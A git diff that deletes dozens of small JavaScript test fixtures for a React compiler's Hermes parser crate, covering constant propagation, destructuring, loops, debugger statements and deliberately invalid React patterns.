diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/conditional-set-state-in-render.js b/compiler/crates/react_hermes_parser/tests/fixtures/conditional-set-state-in-render.js
deleted file mode 100644
index 772649c1f938..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/conditional-set-state-in-render.js
+++ /dev/null
@@ -1,14 +0,0 @@
-function Component(props) {
-  const [x, setX] = useState(0);
-
-  const foo = () => {
-    setX(1);
-  };
-
-  if (props.cond) {
-    setX(2);
-    foo();
-  }
-
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/console-readonly.js b/compiler/crates/react_hermes_parser/tests/fixtures/console-readonly.js
deleted file mode 100644
index e2486ba7fe6b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/console-readonly.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function Component(props) {
-  const x = makeObject(props);
-  // These calls should view x as readonly and be grouped outside of the reactive scope for x:
-  console.log(x);
-  console.info(x);
-  console.warn(x);
-  console.error(x);
-  console.trace(x);
-  console.table(x);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/const-propagation-into-function-expression-global.js b/compiler/crates/react_hermes_parser/tests/fixtures/const-propagation-into-function-expression-global.js
deleted file mode 100644
index ca1f4023ac53..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/const-propagation-into-function-expression-global.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function foo() {
-  const isX = GLOBAL_IS_X;
-  const getJSX = () => {
-    return <Child x={isX}></Child>;
-  };
-  const result = getJSX();
-  return result;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/const-propagation-into-function-expression-primitive.js b/compiler/crates/react_hermes_parser/tests/fixtures/const-propagation-into-function-expression-primitive.js
deleted file mode 100644
index c50ddfc6fb72..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/const-propagation-into-function-expression-primitive.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function foo() {
-  const x = 42;
-  const f = () => {
-    console.log(x);
-  };
-  f();
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/constant-computed.js b/compiler/crates/react_hermes_parser/tests/fixtures/constant-computed.js
deleted file mode 100644
index 2ffe50fef5ba..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/constant-computed.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function Component(props) {
-  const index = "foo";
-  const x = {};
-  x[index] = x[index] + x["bar"];
-  x[index](props.foo);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/constant-propagation-for.js b/compiler/crates/react_hermes_parser/tests/fixtures/constant-propagation-for.js
deleted file mode 100644
index e7822c5c43cd..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/constant-propagation-for.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function foo() {
-  let y = 0;
-  for (const x = 100; x < 10; x) {
-    y = y + 1;
-  }
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/constant-propagation-into-function-expressions.js b/compiler/crates/react_hermes_parser/tests/fixtures/constant-propagation-into-function-expressions.js
deleted file mode 100644
index c98bd9b67005..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/constant-propagation-into-function-expressions.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function Component(props) {
-  const x = 42;
-  const onEvent = () => {
-    console.log(x);
-  };
-  return <Foo onEvent={onEvent} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/constant-propagation-phi.js b/compiler/crates/react_hermes_parser/tests/fixtures/constant-propagation-phi.js
deleted file mode 100644
index e2d7c9114cef..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/constant-propagation-phi.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function foo(a, b, c) {
-  let x;
-  if (a) {
-    x = 2 - 1;
-  } else {
-    x = 0 + 1;
-  }
-  if (x === 1) {
-    return b;
-  } else {
-    return c;
-  }
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/constant-propagation-while.js b/compiler/crates/react_hermes_parser/tests/fixtures/constant-propagation-while.js
deleted file mode 100644
index 1a4d3bf6ecb9..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/constant-propagation-while.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function foo() {
-  let x = 100;
-  let y = 0;
-  while (x < 10) {
-    y += 1;
-  }
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/constant-propagation.js b/compiler/crates/react_hermes_parser/tests/fixtures/constant-propagation.js
deleted file mode 100644
index ff370584bdc1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/constant-propagation.js
+++ /dev/null
@@ -1,18 +0,0 @@
-function foo() {
-  const a = 1;
-  const b = 2;
-  const c = 3;
-  const d = a + b;
-  const e = d * c;
-  const f = e / d;
-  const g = f - e;
-
-  if (g) {
-    console.log("foo");
-  }
-
-  const h = g;
-  const i = h;
-  const j = i;
-  return j;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/constructor.js b/compiler/crates/react_hermes_parser/tests/fixtures/constructor.js
deleted file mode 100644
index ed1df01d2aa3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/constructor.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function Foo() {}
-
-function Component(props) {
-  const a = [];
-  const b = {};
-  new Foo(a, b);
-  let _ = <div a={a} />;
-  new Foo(b);
-  return <div a={a} b={b} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/context-variable-reassigned-outside-of-lambda.js b/compiler/crates/react_hermes_parser/tests/fixtures/context-variable-reassigned-outside-of-lambda.js
deleted file mode 100644
index 2624dc562f06..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/context-variable-reassigned-outside-of-lambda.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// @debug
-function Component(props) {
-  let x = null;
-  const onChange = (e) => {
-    console.log(x);
-  };
-  x = {};
-  return <Foo onChange={onChange} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/controlled-input.js b/compiler/crates/react_hermes_parser/tests/fixtures/controlled-input.js
deleted file mode 100644
index 6a18b2d0ea57..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/controlled-input.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function component() {
-  let [x, setX] = useState(0);
-  const handler = (event) => setX(event.target.value);
-  return <input onChange={handler} value={x} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/dce-loop.js b/compiler/crates/react_hermes_parser/tests/fixtures/dce-loop.js
deleted file mode 100644
index 6e43595e4daa..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/dce-loop.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function foo(props) {
-  let x = 0;
-  let y = 0;
-  while (y < props.max) {
-    x++;
-    y++;
-  }
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/debugger-memoized.js b/compiler/crates/react_hermes_parser/tests/fixtures/debugger-memoized.js
deleted file mode 100644
index bf8923dce0a1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/debugger-memoized.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(props) {
-  const x = [];
-  debugger;
-  x.push(props.value);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/debugger.js b/compiler/crates/react_hermes_parser/tests/fixtures/debugger.js
deleted file mode 100644
index a5779466e77e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/debugger.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function Component(props) {
-  debugger;
-  if (props.cond) {
-    debugger;
-  } else {
-    while (props.cond) {
-      debugger;
-    }
-  }
-  debugger;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/declare-reassign-variable-in-closure.js b/compiler/crates/react_hermes_parser/tests/fixtures/declare-reassign-variable-in-closure.js
deleted file mode 100644
index 52eb7c5bdca9..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/declare-reassign-variable-in-closure.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component(p) {
-  let x;
-  const foo = () => {
-    x = {};
-  };
-  foo();
-
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/delete-computed-property.js b/compiler/crates/react_hermes_parser/tests/fixtures/delete-computed-property.js
deleted file mode 100644
index 79bfdfd237cd..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/delete-computed-property.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(props) {
-  const x = { a: props.a, b: props.b };
-  const key = "b";
-  delete x[key];
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/delete-property.js b/compiler/crates/react_hermes_parser/tests/fixtures/delete-property.js
deleted file mode 100644
index 84d0de961d70..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/delete-property.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function Component(props) {
-  const x = { a: props.a, b: props.b };
-  delete x.b;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/dependencies-outputs.js b/compiler/crates/react_hermes_parser/tests/fixtures/dependencies-outputs.js
deleted file mode 100644
index a5e6152c8aba..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/dependencies-outputs.js
+++ /dev/null
@@ -1,14 +0,0 @@
-function foo(a, b) {
-  const x = [];
-  x.push(a);
-  <div>{x}</div>;
-
-  const y = [];
-  if (x.length) {
-    y.push(x);
-  }
-  if (b) {
-    y.push(b);
-  }
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/dependencies.js b/compiler/crates/react_hermes_parser/tests/fixtures/dependencies.js
deleted file mode 100644
index c93c3b0d24c9..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/dependencies.js
+++ /dev/null
@@ -1,15 +0,0 @@
-function foo(x, y, z) {
-  const items = [z];
-  items.push(x);
-
-  const items2 = [];
-  if (x) {
-    items2.push(y);
-  }
-
-  if (y) {
-    items.push(x);
-  }
-
-  return items2;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/destructure-capture-global.js b/compiler/crates/react_hermes_parser/tests/fixtures/destructure-capture-global.js
deleted file mode 100644
index 1d0e4ce350a9..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/destructure-capture-global.js
+++ /dev/null
@@ -1,5 +0,0 @@
-let someGlobal = {};
-function component(a) {
-  let x = { a, someGlobal };
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/destructure-direct-reassignment.js b/compiler/crates/react_hermes_parser/tests/fixtures/destructure-direct-reassignment.js
deleted file mode 100644
index 8d9f9851a44f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/destructure-direct-reassignment.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function foo(props) {
-  let x, y;
-  ({ x, y } = { x: props.a, y: props.b });
-  console.log(x); // prevent DCE from eliminating `x` altogether
-  x = props.c;
-  return x + y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-array-default.js b/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-array-default.js
deleted file mode 100644
index a15539f441db..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-array-default.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const [[x] = ["default"]] = props.y;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-array-param-default.js b/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-array-param-default.js
deleted file mode 100644
index f28a0fb7b2cb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-array-param-default.js
+++ /dev/null
@@ -1,3 +0,0 @@
-function Component([a = 2]) {
-  return a;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-assignment-array-default.js b/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-assignment-array-default.js
deleted file mode 100644
index 331ece2dc24d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-assignment-array-default.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component(props) {
-  let x;
-  if (props.cond) {
-    [[x] = ["default"]] = props.y;
-  } else {
-    x = props.fallback;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-assignment.js b/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-assignment.js
deleted file mode 100644
index ebc2289107ba..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-assignment.js
+++ /dev/null
@@ -1,18 +0,0 @@
-function foo(a, b, c) {
-  let d, g, n, o;
-  [
-    d,
-    [
-      {
-        e: { f: g },
-      },
-    ],
-  ] = a;
-  ({
-    l: {
-      m: [[n]],
-    },
-    o,
-  } = b);
-  return { d, g, n, o };
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-mixed-scope-and-local-variables-with-default.js b/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-mixed-scope-and-local-variables-with-default.js
deleted file mode 100644
index 38e5546954b8..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-mixed-scope-and-local-variables-with-default.js
+++ /dev/null
@@ -1,20 +0,0 @@
-function Component(props) {
-  const post = useFragment(graphql`...`, props.post);
-  const allUrls = [];
-  // `media` and `urls` are exported from the scope that will wrap this code,
-  // but `comments` is not (it doesn't need to be memoized, bc the callback
-  // only checks `comments.length`)
-  // because of the scope, the let declaration for media and urls are lifted
-  // out of the scope, and the destructure statement ends up turning into
-  // a reassignment, instead of a const declaration. this means we try to
-  // reassign `comments` when there's no declaration for it.
-  const { media = null, comments = [], urls = [] } = post;
-  const onClick = (e) => {
-    if (!comments.length) {
-      return;
-    }
-    console.log(comments.length);
-  };
-  allUrls.push(...urls);
-  return <Media media={media} onClick={onClick} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-mixed-scope-declarations-and-locals.js b/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-mixed-scope-declarations-and-locals.js
deleted file mode 100644
index 5204e36e761c..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-mixed-scope-declarations-and-locals.js
+++ /dev/null
@@ -1,20 +0,0 @@
-function Component(props) {
-  const post = useFragment(graphql`...`, props.post);
-  const allUrls = [];
-  // `media` and `urls` are exported from the scope that will wrap this code,
-  // but `comments` is not (it doesn't need to be memoized, bc the callback
-  // only checks `comments.length`)
-  // because of the scope, the let declaration for media and urls are lifted
-  // out of the scope, and the destructure statement ends up turning into
-  // a reassignment, instead of a const declaration. this means we try to
-  // reassign `comments` when there's no declaration for it.
-  const { media, comments, urls } = post;
-  const onClick = (e) => {
-    if (!comments.length) {
-      return;
-    }
-    console.log(comments.length);
-  };
-  allUrls.push(...urls);
-  return <Media media={media} onClick={onClick} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-object-default.js b/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-object-default.js
deleted file mode 100644
index f380862d3497..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-object-default.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const { x: { y } = { y: "default" } } = props.y;
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-object-param-default.js b/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-object-param-default.js
deleted file mode 100644
index 66712fe5ff5d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-object-param-default.js
+++ /dev/null
@@ -1,3 +0,0 @@
-function Component({ a = 2 }) {
-  return a;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-property-inference.js b/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-property-inference.js
deleted file mode 100644
index 47cba2aa6847..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/destructuring-property-inference.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function Component(props) {
-  const x = [];
-  x.push(props.value);
-  const { length: y } = x;
-  foo(y);
-  return [x, y];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/destructuring.js b/compiler/crates/react_hermes_parser/tests/fixtures/destructuring.js
deleted file mode 100644
index 1e226e3e72a8..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/destructuring.js
+++ /dev/null
@@ -1,19 +0,0 @@
-function foo(a, b, c) {
-  const [
-    d,
-    [
-      {
-        e: { f },
-        ...g
-      },
-    ],
-    ...h
-  ] = a;
-  const {
-    l: {
-      m: [[n], ...o],
-    },
-    p,
-  } = b;
-  return [d, f, g, h, n, o, p];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/disable-jsx-memoization.js b/compiler/crates/react_hermes_parser/tests/fixtures/disable-jsx-memoization.js
deleted file mode 100644
index 42125e01a7b6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/disable-jsx-memoization.js
+++ /dev/null
@@ -1,12 +0,0 @@
-// @memoizeJsxElements false
-function Component(props) {
-  const [name, setName] = useState(null);
-  const onChange = function (e) {
-    setName(e.target.value);
-  };
-  return (
-    <form>
-      <input onChange={onChange} value={name} />
-    </form>
-  );
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/do-while-break.js b/compiler/crates/react_hermes_parser/tests/fixtures/do-while-break.js
deleted file mode 100644
index 5a311fe9a383..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/do-while-break.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(props) {
-  do {
-    break;
-  } while (props.cond);
-  return props;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/do-while-compound-test.js b/compiler/crates/react_hermes_parser/tests/fixtures/do-while-compound-test.js
deleted file mode 100644
index 3588f94706bc..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/do-while-compound-test.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component(props) {
-  let x = [1, 2, 3];
-  let ret = [];
-  do {
-    let item = x.pop();
-    ret.push(item * 2);
-  } while (x.length && props.cond);
-  return ret;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/do-while-conditional-break.js b/compiler/crates/react_hermes_parser/tests/fixtures/do-while-conditional-break.js
deleted file mode 100644
index c64286efc349..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/do-while-conditional-break.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function Component(props) {
-  let x = [0, 1, 2, 3];
-  do {
-    if (x === 0) {
-      break;
-    }
-    mutate(x);
-  } while (props.cond);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/do-while-continue.js b/compiler/crates/react_hermes_parser/tests/fixtures/do-while-continue.js
deleted file mode 100644
index a4792f7891e4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/do-while-continue.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function Component() {
-  const x = [0, 1, 2, 3];
-  const ret = [];
-  do {
-    const item = x.pop();
-    if (item === 0) {
-      continue;
-    }
-    ret.push(item / 2);
-  } while (x.length);
-
-  return ret;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/do-while-early-unconditional-break.js b/compiler/crates/react_hermes_parser/tests/fixtures/do-while-early-unconditional-break.js
deleted file mode 100644
index 764f2d4be9f1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/do-while-early-unconditional-break.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function Component(props) {
-  let x = [1, 2, 3];
-  do {
-    mutate(x);
-    break;
-  } while (props.cond);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/do-while-simple.js b/compiler/crates/react_hermes_parser/tests/fixtures/do-while-simple.js
deleted file mode 100644
index b1d79aaaf506..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/do-while-simple.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component() {
-  let x = [1, 2, 3];
-  let ret = [];
-  do {
-    let item = x.pop();
-    ret.push(item * 2);
-  } while (x.length);
-  return ret;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/dominator.js b/compiler/crates/react_hermes_parser/tests/fixtures/dominator.js
deleted file mode 100644
index 488f1bee85ca..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/dominator.js
+++ /dev/null
@@ -1,33 +0,0 @@
-function Component(props) {
-  let x = 0;
-  label: if (props.a) {
-    x = 1;
-  } else {
-    if (props.b) {
-      x = 2;
-    } else {
-      break label;
-    }
-    x = 3;
-  }
-  label2: switch (props.c) {
-    case "a": {
-      x = 4;
-      break;
-    }
-    case "b": {
-      break label2;
-    }
-    case "c": {
-      x = 5;
-      // intentional fallthrough
-    }
-    default: {
-      x = 6;
-    }
-  }
-  if (props.d) {
-    return null;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/early-return.js b/compiler/crates/react_hermes_parser/tests/fixtures/early-return.js
deleted file mode 100644
index deefb5d7f08f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/early-return.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function MyApp(props) {
-  let res;
-  if (props.cond) {
-    return;
-  } else {
-    res = 1;
-  }
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error._todo.computed-lval-in-destructure.js b/compiler/crates/react_hermes_parser/tests/fixtures/error._todo.computed-lval-in-destructure.js
deleted file mode 100644
index f663f5520701..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error._todo.computed-lval-in-destructure.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(props) {
-  const computedKey = props.key;
-  const { [computedKey]: x } = props.val;
-
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error._todo.multi-arrow-expr-export-default-gating-test.js b/compiler/crates/react_hermes_parser/tests/fixtures/error._todo.multi-arrow-expr-export-default-gating-test.js
deleted file mode 100644
index 6d20710d2b57..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error._todo.multi-arrow-expr-export-default-gating-test.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// @gating
-const ErrorView = (error, _retry) => <MessageBox error={error}></MessageBox>;
-
-export default Renderer = (props) => (
-  <Foo>
-    <Bar></Bar>
-    <ErrorView></ErrorView>
-  </Foo>
-);
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.babel-existing-react-namespace-import.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.babel-existing-react-namespace-import.js
deleted file mode 100644
index 231a97983813..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.babel-existing-react-namespace-import.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import * as React from "react";
-
-function Component(props) {
-  const [x] = React.useState(0);
-  const expensiveNumber = React.useMemo(() => calculateExpensiveNumber(x), [x]);
-
-  return <div>{expensiveNumber}</div>;
-}
-
-function Component2(props) {
-  const [x] = React.useState(0);
-  const expensiveNumber = React.useMemo(() => calculateExpensiveNumber(x), [x]);
-
-  return <div>{expensiveNumber}</div>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.bug-validate-no-set-state-not-all-mutable-range-extensions-are-bad.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.bug-validate-no-set-state-not-all-mutable-range-extensions-are-bad.js
deleted file mode 100644
index e8301cfd6e42..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.bug-validate-no-set-state-not-all-mutable-range-extensions-are-bad.js
+++ /dev/null
@@ -1,24 +0,0 @@
-function Component(props) {
-  const logEvent = useLogging(props.appId);
-  const [currentStep, setCurrentStep] = useState(0);
-
-  const onSubmit = (errorEvent) => {
-    // 2. onSubmit inherits the mutable range of logEvent
-    logEvent(errorEvent);
-    // 3. this call then triggers the ValidateNoSetStateInRender check incorrectly, even though
-    //    onSubmit is not called during render (although it _could_ be, if OtherComponent does so.
-    //    but we can't tell without x-file analysis)
-    setCurrentStep(1);
-  };
-
-  switch (currentStep) {
-    case 0:
-      return <OtherComponent data={{ foo: "bar" }} />;
-    case 1:
-      return <OtherComponent data={{ foo: "joe" }} onSubmit={onSubmit} />;
-    default:
-      // 1. logEvent's mutable range is extended to this instruction
-      logEvent("Invalid step");
-      return <OtherComponent data={null} />;
-  }
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.call-args-destructuring-asignment-complex.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.call-args-destructuring-asignment-complex.js
deleted file mode 100644
index 6f5dd4ea4af6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.call-args-destructuring-asignment-complex.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function Component(props) {
-  let x = makeObject();
-  x.foo(([[x]] = makeObject()));
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.codegen-error-on-conflicting-imports.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.codegen-error-on-conflicting-imports.js
deleted file mode 100644
index a275e6671f95..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.codegen-error-on-conflicting-imports.js
+++ /dev/null
@@ -1,6 +0,0 @@
-// @enableEmitFreeze @instrumentForget
-
-let makeReadOnly = "conflicting identifier";
-function useFoo(props) {
-  return foo(props.x);
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.hoisted-function-declaration.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.hoisted-function-declaration.js
deleted file mode 100644
index 9e5fec3f361e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.hoisted-function-declaration.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function component(a) {
-  let t = { a };
-  x(t); // hoisted call
-  function x(p) {
-    p.foo();
-  }
-  return t;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.hooks-with-React-namespace.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.hooks-with-React-namespace.js
deleted file mode 100644
index 41a3271cee2c..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.hooks-with-React-namespace.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Foo() {
-  const [x, setX] = React.useState(1);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-access-ref-during-render.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-access-ref-during-render.js
deleted file mode 100644
index 0be1f1047a51..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-access-ref-during-render.js
+++ /dev/null
@@ -1,6 +0,0 @@
-// @debug
-function Component(props) {
-  const ref = useRef(null);
-  const value = ref.current;
-  return value;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-array-push-frozen.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-array-push-frozen.js
deleted file mode 100644
index 3ede9c0463c6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-array-push-frozen.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(props) {
-  const x = [];
-  <div>{x}</div>;
-  x.push(props.value);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-assign-hook-to-local.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-assign-hook-to-local.js
deleted file mode 100644
index 886860e4de5c..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-assign-hook-to-local.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function Component(props) {
-  const x = useState;
-  const state = x(null);
-  return state[0];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-capture-func-passed-to-jsx.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-capture-func-passed-to-jsx.js
deleted file mode 100644
index 35357391f942..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-capture-func-passed-to-jsx.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function component(a, b) {
-  let y = { b };
-  let z = { a };
-  let x = function () {
-    z.a = 2;
-    y.b;
-  };
-  let t = <Foo x={x}></Foo>;
-  mutate(x); // x should be frozen here
-  return t;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-computed-store-to-frozen-value.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-computed-store-to-frozen-value.js
deleted file mode 100644
index a0741c5a5813..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-computed-store-to-frozen-value.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function Component(props) {
-  const x = makeObject();
-  // freeze
-  <div>{x}</div>;
-  x[0] = true;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-delete-computed-property-of-frozen-value.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-delete-computed-property-of-frozen-value.js
deleted file mode 100644
index d9b47447d388..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-delete-computed-property-of-frozen-value.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function Component(props) {
-  const x = makeObject();
-  // freeze
-  <div>{x}</div>;
-  delete x[y];
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-delete-property-of-frozen-value.js b/compiler/crates/react_hermes_parser/tests/fixtures/error.invalid-delete-property-of-frozen-value.js
deleted file mode 100644
index f4239d7f8ac8..000000000000
